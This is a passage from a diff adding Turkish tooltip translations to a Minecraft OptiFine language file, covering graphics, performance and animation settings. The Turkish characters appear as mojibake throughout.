renk geçiÅŸlerini düzeltir. +of.options.AA_LEVEL.tooltip.6=Açık bırakıldığında FPS düşmesine sebep olabilir. +of.options.AA_LEVEL.tooltip.7=Her seviyesi ekran kartınızla uyumlu olmayabilir. +of.options.AA_LEVEL.tooltip.8=YENÄ°DEN BAÅžLATINCA aktif olur. + +of.options.AF_LEVEL=Anizotropik filtreleme +of.options.AF_LEVEL.tooltip.1=Anizotropik filtreleme +of.options.AF_LEVEL.tooltip.2= KAPALI - (varsayılan) Standart Görüntü Detayı (en hızlı) +of.options.AF_LEVEL.tooltip.3= 2-16 - daha iyi ve ayrıntılı görünümler (daha yavaÅŸ) +of.options.AF_LEVEL.tooltip.4=Anizotropik filtreleme mipmap kullanan görüntüleri +of.options.AF_LEVEL.tooltip.5=düzenler. +of.options.AF_LEVEL.tooltip.6=Açıldığında FPS düşmesine sebep olabilir. + +of.options.CLEAR_WATER=Temiz Su +of.options.CLEAR_WATER.tooltip.1=Temiz Su +of.options.CLEAR_WATER.tooltip.2= AÇIK - temiz, altını gösteren su +of.options.CLEAR_WATER.tooltip.3= KAPALI - normal su + +of.options.RANDOM_ENTITIES=Rastgele Varlıklar +of.options.RANDOM_ENTITIES.tooltip.1=Rastgele Varlıklar +of.options.RANDOM_ENTITIES.tooltip.2= Kapalı - tek varlık görüntüsü, hızlı oyun. +of.options.RANDOM_ENTITIES.tooltip.3= AÇIK - rastgele varlık görüntüsü, yavaÅŸ oyun. +of.options.RANDOM_ENTITIES.tooltip.4=Rastgele varlıklar varlıklar için rastgele görünümler kullanır. +of.options.RANDOM_ENTITIES.tooltip.5=İçinde birden fazla varlık görünümü bulunan texture pack gerektirir. + +of.options.BETTER_GRASS=Kaliteli Çim +of.options.BETTER_GRASS.tooltip.1=Daha Ä°yi Çim +of.options.BETTER_GRASS.tooltip.2= KAPALI - normal çimli yüzeyler, hızlı oyun. +of.options.BETTER_GRASS.tooltip.3= Hızlı - hertarafı çimli yüzeyler, yavaÅŸ oyun +of.options.BETTER_GRASS.tooltip.4= Kaliteli - yüzeye baÄŸlı çim, en yavaÅŸ oyun + +of.options.BETTER_SNOW=Kaliteli Kar +of.options.BETTER_SNOW.tooltip.1=Kaliteli Kar +of.options.BETTER_SNOW.tooltip.2= KAPALI - normal kar, hızlı +of.options.BETTER_SNOW.tooltip.3= AÇIK - daha iyi kar, yavaÅŸ +of.options.BETTER_SNOW.tooltip.4=arkası görünen bloklarda (çit,çimen) +of.options.BETTER_SNOW.tooltip.5=etrafı karla kaplıysa kar gösterir + +of.options.CUSTOM_FONTS=Özel Yazı Tipi +of.options.CUSTOM_FONTS.tooltip.1=Özel Yazı Tipleri +of.options.CUSTOM_FONTS.tooltip.2= AÇIK - özelleÅŸtrilmiÅŸ yazı (varsayılan), yavaÅŸ oyun +of.options.CUSTOM_FONTS.tooltip.3= KAPALI - minecraft merkez yazı tipini kullanır, hızlı oyun +of.options.CUSTOM_FONTS.tooltip.4=Özel Yazı Tipleri görüntü paketleri tarafından +of.options.CUSTOM_FONTS.tooltip.5=desteklenir. + +of.options.CUSTOM_COLORS=Özel Renkler +of.options.CUSTOM_COLORS.tooltip.1=Özel Renkler +of.options.CUSTOM_COLORS.tooltip.2= AÇIK - özel renkler kullanır (varsayılan), daha yavaÅŸ +of.options.CUSTOM_COLORS.tooltip.3= KAPALI - normal renkleri kullanır, daha hızlı +of.options.CUSTOM_COLORS.tooltip.4=Özel renkler sadece texture pack tarafından +of.options.CUSTOM_COLORS.tooltip.5=desteklenir. + +of.options.SWAMP_COLORS=Bataklık Renkleri +of.options.SWAMP_COLORS.tooltip.1=Bataklık renkleri +of.options.SWAMP_COLORS.tooltip.2= AÇIK - bataklık renkleri kullan (varsayılan) daha yavaÅŸ oyun +of.options.SWAMP_COLORS.tooltip.3= KAPALI - renk deÄŸiÅŸimi yapma, daha hızlı +of.options.SWAMP_COLORS.tooltip.4=Bataklık renkleri yaprak, sarmaşık çim gibi bloklara etki eder. + +of.options.SMOOTH_BIOMES=Biyom Blokları +of.options.SMOOTH_BIOMES.tooltip.1=Biyom GeçiÅŸleri +of.options.SMOOTH_BIOMES.tooltip.2= AÇIK - Blokları deÄŸiÅŸtirir (varsayılan) daha yavaÅŸ +of.options.SMOOTH_BIOMES.tooltip.3= KAPALI - Blok renkleri sabit, daha hızlı +of.options.SMOOTH_BIOMES.tooltip.4=Bu ayar etrafındaki blokların renklerine ve biyoma göre +of.options.SMOOTH_BIOMES.tooltip.5=bazı blokların görünümlerinde deÄŸiÅŸmeye sebep olur. +of.options.SMOOTH_BIOMES.tooltip.6=Su yaprak, sarmaşık, çim gibi bloklarda etkilidir. + +of.options.CONNECTED_TEXTURES=BaÄŸlantılı Görüntüler +of.options.CONNECTED_TEXTURES.tooltip.1=BaÄŸlantılı Görüntüler +of.options.CONNECTED_TEXTURES.tooltip.2= KAPALI - BaÄŸlantılı Görünüm Yok (varsayılan) +of.options.CONNECTED_TEXTURES.tooltip.3= Fast - Hızlıca baÄŸlanan görünüm, orta donma +of.options.CONNECTED_TEXTURES.tooltip.4= Fancy - kaliteli baÄŸlantılı görünümler, yavaÅŸ. +of.options.CONNECTED_TEXTURES.tooltip.5=BaÄŸlantılı görünüş cam, kumtaşı, kitap rafı +of.options.CONNECTED_TEXTURES.tooltip.6=gibi bloklar yan yana koyulduklarında görünümlerinin +of.options.CONNECTED_TEXTURES.tooltip.7=bütün gibi gösterilmesidir. +of.options.CONNECTED_TEXTURES.tooltip.8=resource packe göre deÄŸiÅŸebilir. + +of.options.NATURAL_TEXTURES=DoÄŸal Görünümler +of.options.NATURAL_TEXTURES.tooltip.1=DoÄŸal Görünümler +of.options.NATURAL_TEXTURES.tooltip.2= KAPALI - DoÄŸal görünüm yok (varsayılan) +of.options.NATURAL_TEXTURES.tooltip.3= AÇIK - doÄŸal görünümler kullanır. +of.options.NATURAL_TEXTURES.tooltip.4=DoÄŸal görünümler ardarda tekrar eden blokların +of.options.NATURAL_TEXTURES.tooltip.5=görünümlerinde tekrarı engeller. +of.options.NATURAL_TEXTURES.tooltip.6=Merkez görünümün döndürülmesi sonucu doÄŸal görünüm +of.options.NATURAL_TEXTURES.tooltip.7=elde edilir. Destekleyen texture paketlerine göre +of.options.NATURAL_TEXTURES.tooltip.8=çalışma ÅŸekli deÄŸiÅŸebilir. + +of.options.EMISSIVE_TEXTURES=Yayıcı Görünümler +of.options.EMISSIVE_TEXTURES.tooltip.1=Yayıcı Görünümler +of.options.EMISSIVE_TEXTURES.tooltip.2= KAPALI - yayıcı görünümler kapalı (varsayılan) +of.options.EMISSIVE_TEXTURES.tooltip.3= AÇIK - yayıcı görünümleri kullanır +of.options.EMISSIVE_TEXTURES.tooltip.4=tam ışık alan yüzeylerdeki görünümü deÄŸiÅŸtirir. +of.options.EMISSIVE_TEXTURES.tooltip.5=Ana görünümün ışık alan taraflarını simüle etmede +of.options.EMISSIVE_TEXTURES.tooltip.6=kullanılabilinir. Yayıcı görünümler herhangi +of.options.EMISSIVE_TEXTURES.tooltip.7=bir görünüm paketine +of.options.EMISSIVE_TEXTURES.tooltip.8=uygulanabilinir. + +of.options.CUSTOM_SKY=Özel Gökyüzü +of.options.CUSTOM_SKY.tooltip.1=Özel Gökyüzü +of.options.CUSTOM_SKY.tooltip.2= AÇIK - Özel Gökyüzü Görünümü (varsayılan) yavaÅŸ oyun +of.options.CUSTOM_SKY.tooltip.3= KAPALI - normal gökyüzü, daha hızlı +of.options.CUSTOM_SKY.tooltip.4=Farklı gökyüzü görünümleri texture pack +of.options.CUSTOM_SKY.tooltip.5=deÄŸiÅŸtirilmesi ile etkiini gösterir. + +of.options.CUSTOM_ITEMS=Farklı EÅŸya Görünümü +of.options.CUSTOM_ITEMS.tooltip.1=Farklı EÅŸya Görünümü +of.options.CUSTOM_ITEMS.tooltip.2= AÇIK - çeÅŸitli eÅŸya görünümler (varsayılan) yavaÅŸ +of.options.CUSTOM_ITEMS.tooltip.3= KAPALI - tek eÅŸya görünümü, daha hızlı oyun +of.options.CUSTOM_ITEMS.tooltip.4=Farklı eÅŸya görünümleri farklı görünüm paketlerinde +of.options.CUSTOM_ITEMS.tooltip.5=etkisini gösterecektir. + +of.options.CUSTOM_ENTITY_MODELS=Özel Varlık Modelleri +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Özel Varlık Modelleri +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= AÇIK - özel varlık Modelleri (varsayılan) yavaÅŸ oyun +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= KAPALI - normal varlık modelleri, daha hızlı +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=Özel varlık modelleri sadece destek veren +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=resource packler içindir. + +of.options.CUSTOM_GUIS=Özel Menüler +of.options.CUSTOM_GUIS.tooltip.1=Özel Menüler +of.options.CUSTOM_GUIS.tooltip.2= AÇIK - Özel Menüler (varsayılan) daha yavaÅŸ +of.options.CUSTOM_GUIS.tooltip.3= KAPALI - Merkez Menüler, daha hızlı +of.options.CUSTOM_GUIS.tooltip.4=Kullanılan texture packe göre deÄŸiÅŸiklik gösterebilir. + +# Detaylar + +of.options.CLOUDS=Bulutlar +of.options.CLOUDS.tooltip.1=Bulutlar +of.options.CLOUDS.tooltip.2= Normal - as set by setting Graphics +of.options.CLOUDS.tooltip.3= Hızlı - düşük kalite, daha hızlı +of.options.CLOUDS.tooltip.4= Kaliteli - daha kaliteli, daha yavaÅŸ +of.options.CLOUDS.tooltip.5= KAPALI - bulutlar kapalı, fastest +of.options.CLOUDS.tooltip.6=Hızlı bulutlar 2D olarak yapılır. +of.options.CLOUDS.tooltip.7=Kaliteli Bulutlar 3D olarak yapılır. + +of.options.CLOUD_HEIGHT=Bulut yüksekliÄŸi +of.options.CLOUD_HEIGHT.tooltip.1=Bulut YüksekliÄŸi +of.options.CLOUD_HEIGHT.tooltip.2= KAPALI - Normal Yükseklik +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - inÅŸa sınırında + +of.options.TREES=AÄŸaçlar +of.options.TREES.tooltip.1=AÄŸaçlar +of.options.TREES.tooltip.2= Normal - Grafik ayarlarına göre deÄŸiÅŸir. +of.options.TREES.tooltip.3= Hızlı - düşük kalite, daha hızlı +of.options.TREES.tooltip.4= Güzel - daha iyi kalite, fast +of.options.TREES.tooltip.5= Kaliteli - en yüksek kalite, daha yavaÅŸ +of.options.TREES.tooltip.6=Hızlı kalitede yapraklar arkasını göstermez. +of.options.TREES.tooltip.7=Kaliteli ve güzel ayarda yapraklar arkasını gösterir. + +of.options.RAIN=YaÄŸmur & Kar +of.options.RAIN.tooltip.1=YaÄŸmur & Kar +of.options.RAIN.tooltip.2= Normal - Grafik ayarlarına göre deÄŸiÅŸir +of.options.RAIN.tooltip.3= Hızlı - hafif yaÄŸmur/kar, daha hızlı +of.options.RAIN.tooltip.4= Kaliteli - yoÄŸun yaÄŸmur/kar, daha yavaÅŸ +of.options.RAIN.tooltip.5= KAPALI - yaÄŸmur/kar kapalı, fastest +of.options.RAIN.tooltip.6=YaÄŸmur KAPALIya ayarlanırsa yaÄŸmur tanecikleri ve +of.options.RAIN.tooltip.7=yaÄŸmru sesi hala aktif olacaktır. + +of.options.SKY=Gökyüzü +of.options.SKY.tooltip.1=Gökyüzü +of.options.SKY.tooltip.2= AÇIK - gökyüzü görünürdür, daha yavaÅŸ +of.options.SKY.tooltip.3= KAPALI - gökyüzü kalitesizdir, daha hızlı +of.options.SKY.tooltip.4=Gökyüzü KAPALI ayarlansa bile ay ve güneÅŸ görünür. + +of.options.STARS=Yıldızlar +of.options.STARS.tooltip.1=Yıldızlar +of.options.STARS.tooltip.2= AÇIK - yızlızlar görünürdür, daha yavaÅŸ +of.options.STARS.tooltip.3= KAPALI - yıldızlar görünmez, daha hızlı + +of.options.SUN_MOON=GüneÅŸ & Ay +of.options.SUN_MOON.tooltip.1=GüneÅŸ & Ay +of.options.SUN_MOON.tooltip.2= AÇIK - güneÅŸ ve ay görünürdür. (varsayılan) +of.options.SUN_MOON.tooltip.3= KAPALI - GüneÅŸ ve ay görünmez. (daha hızlı) + +of.options.SHOW_CAPES=Pelerinleri Göster +of.options.SHOW_CAPES.tooltip.1=Pelerinleri Göster +of.options.SHOW_CAPES.tooltip.2= AÇIK - Oyuncu Pelerinlerini Gösterir (varsayılan) +of.options.SHOW_CAPES.tooltip.3= KAPALI - Oyuncu Pelerinlerini Göstermez + +of.options.TRANSLUCENT_BLOCKS=Yarı Saydam Bloklar +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Yarı Saydam Bloklar +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Normal - Grafik ayarlarına baÄŸlıdır. +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Kaliteli - Düzgün renk karışımı (daha yavaÅŸ) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= Hızlı - hızlı renk karışımı (daha hızlı) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Yarı saydam blokların (renkli cam, su, buz) gibi +of.options.TRANSLUCENT_BLOCKS.tooltip.6=aralarında hava boÅŸluÄŸu var iken +of.options.TRANSLUCENT_BLOCKS.tooltip.7=renk karışımlarını ayarlar. + +of.options.HELD_ITEM_TOOLTIPS=Tutulan EÅŸya Ä°puçları +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Tutulan EÅŸya Ä°puçları +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= AÇIK - tutulan eÅŸya için bilgiler verir (varsayılan) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= KAPALI - eÅŸya için bilgiler vermez + +of.options.ADVANCED_TOOLTIPS=Ayrıntılı Bilgiler +of.options.ADVANCED_TOOLTIPS.tooltip.1=Ayrıntılı Bilgiler +of.options.ADVANCED_TOOLTIPS.tooltip.2= AÇIK - ayrıntılı bilgileri gösterir +of.options.ADVANCED_TOOLTIPS.tooltip.3= KAPALI - ayrıntılı bilgileri gösterme (varsayılan) +of.options.ADVANCED_TOOLTIPS.tooltip.4=Ayrıntılı Bilgiler eÅŸyaları idleri kalan ömürleri +of.options.ADVANCED_TOOLTIPS.tooltip.5= ayrıca shaderlerin ise kaynak id ve +of.options.ADVANCED_TOOLTIPS.tooltip.6=varsayılan verilerini gösterir. + +of.options.DROPPED_ITEMS=Atılan EÅŸyalar +of.options.DROPPED_ITEMS.tooltip.1=Atılan EÅŸyalar +of.options.DROPPED_ITEMS.tooltip.2= Varsayılan - Grafik ayarlarına göre ayarlanır. +of.options.DROPPED_ITEMS.tooltip.3= Hızlı - 2D atılan eÅŸyalar (daha hızlı) +of.options.DROPPED_ITEMS.tooltip.4= Kaliteli - 3D atılan eÅŸyalar (daha yavaÅŸ) + +options.entityShadows.tooltip.1=Varlık Gölgeleri +options.entityShadows.tooltip.2= AÇIK - Varlık Gölgelerini göster +options.entityShadows.tooltip.3= KAPALI - Varlık Gölgelerini gösterme + +of.options.VIGNETTE=Kenar YumuÅŸatması +of.options.VIGNETTE.tooltip.1=Köşelere doÄŸru hafif kararma yaparak gerçekçi görünüm saÄŸlar. +of.options.VIGNETTE.tooltip.2= Varsayılan - Grafik ayarlarına göre deÄŸiÅŸir (varsayılan) +of.options.VIGNETTE.tooltip.3= Hızlı - kenar yumuÅŸatma devre dışı (daha hızlı) +of.options.VIGNETTE.tooltip.4= Kaliteli - kenar yumuÅŸatma aktif (daha yavaÅŸ) +of.options.VIGNETTE.tooltip.5=Kenar yumuÅŸatması AÇIK ayarlıyken FPS'e etki edebilir, +of.options.VIGNETTE.tooltip.6=özellikle tam ekranlarda. +of.options.VIGNETTE.tooltip.7=Kenar yumuÅŸatma efekti hafifdir ve rahatlıkla +of.options.VIGNETTE.tooltip.8=devre dışı bırakabilirsiniz + +of.options.DYNAMIC_FOV=DeÄŸiÅŸken Bakış Açısı +of.options.DYNAMIC_FOV.tooltip.1=DeÄŸiÅŸken Bakış Açısı +of.options.DYNAMIC_FOV.tooltip.2= AÇIK - DeÄŸiÅŸken Bakış Açısı Aktif (varsayılan) +of.options.DYNAMIC_FOV.tooltip.3= KAPALI - DeÄŸiÅŸken Bakış Açısını devre dışı bırakır +of.options.DYNAMIC_FOV.tooltip.4=Bakış açısını uçarken, koÅŸarken veya bir yay +of.options.DYNAMIC_FOV.tooltip.5=kullanırken deÄŸiÅŸtirir. + +of.options.DYNAMIC_LIGHTS=Dinamik Işınlandırma +of.options.DYNAMIC_LIGHTS.tooltip.1=Dinamik Işınlandırma +of.options.DYNAMIC_LIGHTS.tooltip.2= KAPALI - Dinamik Işıklandırma kapalı (varsayılan) +of.options.DYNAMIC_LIGHTS.tooltip.3= Hızlı - hızlı dinamik ışıklandırma (her yarım saniyede günceller) +of.options.DYNAMIC_LIGHTS.tooltip.4= Kaliteli - Kaliteli Dinamik Işıklandırma (anlık günceller) +of.options.DYNAMIC_LIGHTS.tooltip.5=Işık yayan varlıkların (meÅŸale gibi) ele alındıklarında +of.options.DYNAMIC_LIGHTS.tooltip.6=yere atıldıklarında yada baÅŸka bir oyuncu elinde +of.options.DYNAMIC_LIGHTS.tooltip.7=tuttuÄŸunda etrafına ışık vermesini saÄŸlar. + +options.biomeBlendRadius.tooltip.1=Biyomlar arası renk geçiÅŸi +options.biomeBlendRadius.tooltip.2= Kapalı - renk geçiÅŸi yok (en hızlı) +options.biomeBlendRadius.tooltip.3= 5x5 - normal geçiÅŸ (default) +options.biomeBlendRadius.tooltip.4= 15x15 - maximal blending (en yavaÅŸ) +options.biomeBlendRadius.tooltip.5=Düşük derecede farkedilebilinir laga sebep olur. +options.biomeBlendRadius.tooltip.6=Chunk yüklenme hızını düşürür. + +# Performans + +of.options.SMOOTH_FPS=Smooth FPS +of.options.SMOOTH_FPS.tooltip.1=Stabilizes FPS by flushing the graphic driver buffers. +of.options.SMOOTH_FPS.tooltip.2= KAPALI - stabilizasyon kapalı, fps dengesizdir. +of.options.SMOOTH_FPS.tooltip.3= AÇIK - FPS'de denge vardır. +of.options.SMOOTH_FPS.tooltip.4=grafik sürücülerine baÄŸlı bir ayardır. +of.options.SMOOTH_FPS.tooltip.5=Her zaman gözle görülen etkisi yoktur. + +of.options.SMOOTH_WORLD=Sisli Dünya +of.options.SMOOTH_WORLD.tooltip.1=Dünya yüklenmesinden kaynaklı donmayı azaltır. +of.options.SMOOTH_WORLD.tooltip.2= KAPALI - stabilizasyon yoktur, donma sorunları oluÅŸur. +of.options.SMOOTH_WORLD.tooltip.3= AÇIK - FPS dengelidir +of.options.SMOOTH_WORLD.tooltip.4=Dünya yüklenmesi sırasında oluÅŸan donmayı azaltır. +of.options.SMOOTH_WORLD.tooltip.5=Sadece tek oyunculuda geçerlidir. + +of.options.FAST_RENDER=Hızlı Yükleme +of.options.FAST_RENDER.tooltip.1=Hızlı Yükleme +of.options.FAST_RENDER.tooltip.2= KAPALI - Standart yükleme (varsayılan) +of.options.FAST_RENDER.tooltip.3= AÇIK - optimizasyonlu yükleme (daha hızlı) +of.options.FAST_RENDER.tooltip.4=Daha az CPU harcayan ve Fps'i yükselten farklı +of.options.FAST_RENDER.tooltip.5=bir argoritma kullanan yükleme ÅŸeklidir. +of.options.FAST_RENDER.tooltip.6=Bazı modlarla çakışabilir. + +of.options.FAST_MATH=Hızlı Hesap +of.options.FAST_MATH.tooltip.1=Hızlı Hesap +of.options.FAST_MATH.tooltip.2= KAPALI - Standart Hesaplama (varsayılan) +of.options.FAST_MATH.tooltip.3= AÇIK - daha hızlı hesaplama +of.options.FAST_MATH.tooltip.4=optimize edilmiÅŸ sin() ve cos() hesapları kullanır. +of.options.FAST_MATH.tooltip.5=Bu durum CPU kullanımını azaltır ve FPS arttırır +of.options.FAST_MATH.tooltip.6=Dünya oluÅŸturmada azda olsa etkilidir. + +of.options.CHUNK_UPDATES=Arazi Güncellemeleri +of.options.CHUNK_UPDATES.tooltip.1=Arazi Güncellemeleri +of.options.CHUNK_UPDATES.tooltip.2= 1 - daha yavaÅŸ dünya yüklemesi, daha fazla FPS (varsayılan) +of.options.CHUNK_UPDATES.tooltip.3= 3 - daha hızlı dünya yüklemesi, daha düşük FPS +of.options.CHUNK_UPDATES.tooltip.4= 5 - en hızlı dünya yüklemesi, en düşük FPS +of.options.CHUNK_UPDATES.tooltip.5=Her ayarlanan ekrana yüklenecek arazi miktarı, +of.options.CHUNK_UPDATES.tooltip.6=FPS dengesizliÄŸine sebep olabilir. + +of.options.CHUNK_UPDATES_DYNAMIC=Sürekli Güncelleme +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Sürekli Arazi Güncellemesi +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= KAPALI - her saniyede standard arazi güncellemesi (varsayılan) +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= AÇIK - Oyuncu sabitken daha fazla güncelleme +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=Oyuncu sabitken arazilerin güncellenmesi dünyanın +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=daha hızlı yüklenmesine olanak tanır. + +of.options.LAZY_CHUNK_LOADING=YavaÅŸ Arazi Yüklenmesi +of.options.LAZY_CHUNK_LOADING.tooltip.1=YavaÅŸ Arazi Yüklenmesi +of.options.LAZY_CHUNK_LOADING.tooltip.2= KAPALI - normal arazi yüklenmesi +of.options.LAZY_CHUNK_LOADING.tooltip.3= AÇIK - yavaÅŸ arazi yüklenmesi (daha rahat) +of.options.LAZY_CHUNK_LOADING.tooltip.4=Bilinmeyen yada yüklenmemiÅŸ arazileri +of.options.LAZY_CHUNK_LOADING.tooltip.5=bir anlığına sisli olarak gösterebilir. +of.options.LAZY_CHUNK_LOADING.tooltip.6=EÄŸer dünyalar düzgün yüklenmiyorsa devre dışı bırakın +of.options.LAZY_CHUNK_LOADING.tooltip.7=Yanlızca tek oyunculuda geçerlidir. + +of.options.RENDER_REGIONS=Bölgesel Yüklenme +of.options.RENDER_REGIONS.tooltip.1=Bölgesel yüklenme +of.options.RENDER_REGIONS.tooltip.2= KAPALI - bölgesel yüklenme kullanmaz (varsayılan) +of.options.RENDER_REGIONS.tooltip.3= AÇIK - bölgesel yüklenmeyi kullanır +of.options.RENDER_REGIONS.tooltip.4=Bölgesel yüklenme daha uzak noktalarda daha rahat yüklenmeyi +of.options.RENDER_REGIONS.tooltip.5=saÄŸlar. VBO aktifken daha hızlıdır +of.options.RENDER_REGIONS.tooltip.6=Entegre grafik kartlarına önerilmez. + +of.options.SMART_ANIMATIONS=Rahat Animasyonlar +of.options.SMART_ANIMATIONS.tooltip.1=Rahat Animasyonlar +of.options.SMART_ANIMATIONS.tooltip.2= KAPALI - rahat animasyonları kullanmaz (varsayılan) +of.options.SMART_ANIMATIONS.tooltip.3= AÇIK - rahat animasyonları kullanır +of.options.SMART_ANIMATIONS.tooltip.4=Rahat animasyonlar ile sadece bilgisayarınızda görünen +of.options.SMART_ANIMATIONS.tooltip.5=animasyonlu blokların animasyonu aktif olacaktır. +of.options.SMART_ANIMATIONS.tooltip.6=Bu ayar FPS i yükseltip anlık donmaları engeller. +of.options.SMART_ANIMATIONS.tooltip.7=Büyük mod paketleri ve HD görüntü paketlerinde etkilidir. + +# Animasyonlar + +of.options.animation.allOn=Tamamı Açık +of.options.animation.allOff=Tamamı Kapalı +of.options.animation.dynamic=Dinamik + +of.options.ANIMATED_WATER=Su Animasyonu +of.options.ANIMATED_LAVA=Lav Animasyonu +of.options.ANIMATED_FIRE=AteÅŸ Animasyonu +of.options.ANIMATED_PORTAL=Portal Animasyonu +of.options.ANIMATED_REDSTONE=KızıltaÅŸ Animasyonu +of.options.ANIMATED_EXPLOSION=Patlama Animasyonu +of.options.ANIMATED_FLAME=Yanma Animasyonu +of.options.ANIMATED_SMOKE=Duman Animasyonu +of.options.VOID_PARTICLES=BoÅŸluk Animasyonu +of.options.WATER_PARTICLES=Su parçacıkları +of.options.RAIN_SPLASH=YaÄŸmur Parçacıkları +of.options.PORTAL_PARTICLES=Portal Parçacıkları +of.options.POTION_PARTICLES=Ä°ksir Parçacıkları +of.options.DRIPPING_WATER_LAVA=Su/Lav Damlaları +of.options.ANIMATED_TERRAIN=Yer Animasyonları +of.options.ANIMATED_TEXTURES=Görüntüsel Animasyonlar +of.options.FIREWORK_PARTICLES=Havai-FiÅŸek Parçacıkları + +# BaÅŸka + +of.options.LAGOMETER=LagÖlçer +of.options.LAGOMETER.tooltip.1=F3 menüsünde FPS gösterir. +of.options.LAGOMETER.tooltip.2=* Orange - Çöp Yer Miktarı +of.options.LAGOMETER.tooltip.3=* Cyan - An +of.options.LAGOMETER.tooltip.4=* Blue - Zamanlanmış Olaylar +of.options.LAGOMETER.tooltip.5=* Purple - Arazi Yüklemesi +of.options.LAGOMETER.tooltip.6=* Red - Arazi Güncellemesi +of.options.LAGOMETER.tooltip.7=* Yellow - Görünümsel Kontrol +of.options.LAGOMETER.tooltip.8=* Green - Yeryüzü Yüklemesi + +of.options.PROFILER=Hata Giderme Profili +of.options.PROFILER.tooltip.1=Hata Giderme Profili +of.options.PROFILER.tooltip.2= AÇIK - hata giderme profili aktif, daha yavaÅŸ +of.options.PROFILER.tooltip.3= KAPALI - hata giderme profili deaktif, daha hızlı +of.options.PROFILER.tooltip.4=Hata giderme profili bilgi toplar ve +of.options.PROFILER.tooltip.5=bu bilgileri F3'e basınca gösterir. + +of.options.WEATHER=Hava +of.options.WEATHER.tooltip.1=Haca +of.options.WEATHER.tooltip.2= AÇIK - hava aktiftir, daha yavaÅŸ +of.options.WEATHER.tooltip.3= KAPALI - hava aktif deÄŸildir, daha hızlı +of.options.WEATHER.tooltip.4=Hava ayarı yaÄŸmuru karı ve fırtınaları kontrol eder. +of.options.WEATHER.tooltip.5=Yanlızca tek oyunculuda geçerlidir. + +of.options.time.dayOnly=Sadece Gündüz +of.options.time.nightOnly=Sadece Gece + +of.options.TIME=Zaman +of.options.TIME.tooltip.1=Zaman +of.options.TIME.tooltip.2= Varsayılan - normal gece/gündüz döngüsü +of.options.TIME.tooltip.3= Sadece gündüz - Sürekli Gündüz +of.options.TIME.tooltip.4= Sadece Gece - Sürekli Gece +of.options.TIME.tooltip.5=Zaman deÄŸiÅŸtirme sadece yaratıcı mod +of.options.TIME.tooltip.6=ve tek oyunculu içindir. + +options.fullscreen.tooltip.1=Tam Ekran +options.fullscreen.tooltip.2= AÇIK - Tam Ekran Modunu Kullanır +options.fullscreen.tooltip.3= KAPALI - Pencere Modu Kullanır +options.fullscreen.tooltip.4=Fullscreen modu pencere modundan grafik +options.fullscreen.tooltip.5=kartına göre daha hızlı veya yavaÅŸ olabilir. + +options.fullscreen.resolution=Tam Ekran Modu +options.fullscreen.resolution.tooltip.1=Tam Ekran Modu +options.fullscreen.resolution.tooltip.2= Varsatyılan - ekran çözünürlüğünü kullanır, daha yavaÅŸ +options.fullscreen.resolution.tooltip.3= Y x G - özel yükseklik ve geniÅŸlik, daha hızlı olabilir +options.fullscreen.resolution.tooltip.4=Seçilen çözünürlük tam ekranda kullanılabilinir (F11). +options.fullscreen.resolution.tooltip.5=Düşük çözünürlükler daha hızlı daha hızlı olabilir. + +of.options.SHOW_FPS=FPS göster +of.options.SHOW_FPS.tooltip.1=Küçük alanda FPS ve yükleme bilgisi gösterir. +of.options.SHOW_FPS.tooltip.2= Fps - maksimum/minimum +of.options.SHOW_FPS.tooltip.3= C: - arazi yüklemesi +of.options.SHOW_FPS.tooltip.4= E: - yüklenen varlık ve blok varlıklar +of.options.SHOW_FPS.tooltip.5= U: - arazi güncellemeri +of.options.SHOW_FPS.tooltip.6=Bu küçük FPS bilgisi sadece hata giderme +of.options.SHOW_FPS.tooltip.7=dkapalıyken gözükür + +of.options.save.default=Normal (2s) +of.options.save.20s=20 saniye +of.options.save.3min=3 dakika +of.options.save.30min=30 dakika +of.options.save.12min=12 dakika +of.options.save.24min=24 dakika + +of.options.AUTOSAVE_TICKS=Oto Kayıt +of.options.AUTOSAVE_TICKS.tooltip.1=Sürekli Oto Kayıt +of.options.AUTOSAVE_TICKS.tooltip.2=Normal Oto kayıt (2 saniye) ÖNERÄ°LMEZ! +of.options.AUTOSAVE_TICKS.tooltip.3=Çok miktarda donma ve kasmaya sebep olabilir. +of.options.AUTOSAVE_TICKS.tooltip.4=Ayrıca oyun menüye dönüldüğündede kaydolur. + +of.options.SCREENSHOT_SIZE=Ekran Alıntısı Boyutu +of.options.SCREENSHOT_SIZE.tooltip.1=Ekran Alıntısı Boyutu +of.options.SCREENSHOT_SIZE.tooltip.2= Varsayılan - Varsayılan Ekran Alıntısı Boyutu +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - özel boyutlar +of.options.SCREENSHOT_SIZE.tooltip.4=büyük boyutlarda ekran alıntıları daha fazla alan gerektirir. +of.options.SCREENSHOT_SIZE.tooltip.5=Hızlı yükleme ve düzgünleÅŸtirme ile uyumlu deÄŸildir. +of.options.SCREENSHOT_SIZE.tooltip.6=Kaliteli bir GPU gerektirir. + +of.options.SHOW_GL_ERRORS=GL Hatalarını Göster +of.options.SHOW_GL_ERRORS.tooltip.1=OpenGL Hatalarını Göster +of.options.SHOW_GL_ERRORS.tooltip.2=Aktifken KonuÅŸma Yerinde Gösterir. +of.options.SHOW_GL_ERRORS.tooltip.3=Bu ayarıeÄŸer bilinen bir hata var ve +of.options.SHOW_GL_ERRORS.tooltip.4=çözülemiyorsa devre dışı bırakın +of.options.SHOW_GL_ERRORS.tooltip.5=Devre dışı bırakıldığında bile hata dosyasında bulunacak +of.options.SHOW_GL_ERRORS.tooltip.6=ve bu durum FPS düşüşlerine sebep olabilir. + +# Chat Settings + +of.options.CHAT_BACKGROUND=Sohbet Arkaplanı 